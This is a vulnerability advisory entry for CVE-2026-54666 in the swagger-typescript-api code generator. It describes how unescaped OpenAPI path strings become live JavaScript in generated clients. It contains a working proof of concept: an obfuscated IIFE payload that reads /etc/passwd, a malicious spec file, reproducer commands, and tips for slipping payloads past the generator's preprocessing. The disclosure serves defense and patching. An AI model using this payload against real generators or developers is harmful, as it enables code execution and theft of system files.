# swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies

swagger-typescript-api interpolates unescaped OpenAPI path strings into generated JS template literals, so a malicious spec executes attacker code on every generated method call.

- Payout: Research
- Severity: high
- Program: swagger-typescript-api
- Found by: thegr1ffyn
- Disclosed: 2026-07-29
- CVE: CVE-2026-54666
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w284-33mx-6g9v
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w284-33mx-6g9v
- Tags: area:oss domain:oss impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:rce

**Target:** OpenAPI code generator (npm CLI/library) and generated TypeScript client
**Root cause:** parseRouteName rewrites {x}/:x path params into ${x} template interpolations but never escapes backticks, ${ or backslashes; the raw path is then emitted via Eta's unescaped <%~ path %> inside a backtick template literal in procedure-call.ejs.
**Steps:**
1. Craft an OpenAPI spec whose paths key contains a JS expression, e.g. `/api/${(async()=>{...})()}/items` (base64-encode 'node:fs' to dodge the `:x` rewrite).
2. Run `swagger-typescript-api` generate against the spec (input: payload-spec.json, httpClientType: fetch).
3. Observe generated method body: `path: \`/api/${(async () => {...})()}/items\`` — the IIFE is live JS inside the template literal.
4. Bundle with esbuild, instantiate Api, stub `api.request`, and call the affected method.
5. The path template literal evaluates, the IIFE runs, and `/tmp/sta_canary` is written with /etc/passwd contents.
**How found:** Code review of parseRouteName's regex, which only matches `{word}`/`:word` and does not strip backticks, `${` or backslashes; traced the unescaped path into procedure-call.ejs's raw `<%~ path %>` interpolation inside backticks, then confirmed the output parses as valid TS via Biome formatting and executes.
**Exploitation:** Attacker supplies a malicious OpenAPI spec (hosted URL, vendor/partner spec, tenant-supplied spec, or PR to a pinned spec). Victim runs the generator; the generated client contains the attacker's expression in the path template literal. On every call to the affected method, the IIFE executes with the importing process's full privileges — file read/write, network egress, env access, child_process.
**Insight:** When auditing code generators, follow user-controlled spec strings into template engines: raw/unescaped interpolation tags (`<%~ %>`, `!{}`) inside backtick literals turn inert data into live JS. Also note the generator's own param-rewrite regex can mangle payloads (`:x` → `${x}`), so encode forbidden characters (e.g. base64 for `node:fs`) to survive preprocessing.

## Proof of concept (copied exactly from the original report)

**Malicious OpenAPI path with injected IIFE**

```
/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items
```

**Minimal payload OpenAPI spec JSON**

```
{
  "openapi": "3.0.0",
  "info": { "title": "PathPayloadAPI", "version": "1.0.0" },
  "servers": [{ "url": "https://api.example.com" }],
  "paths": {
    "/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items": {
      "get": {
        "operationId": "evilCall",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}
```

**Reproducer commands generating and triggering payload**

```
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
  const mod = await import('./out/Api.bundle.mjs');
  const api = new mod.Api();
  // Stub the request implementation so there is no real network call —
  // only the path template literal is evaluated, which is what fires the IIFE.
  api.request = async () => ({ ok: true });
  const group = api.api;
  await group[Object.keys(group)[0]]();
  await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
```

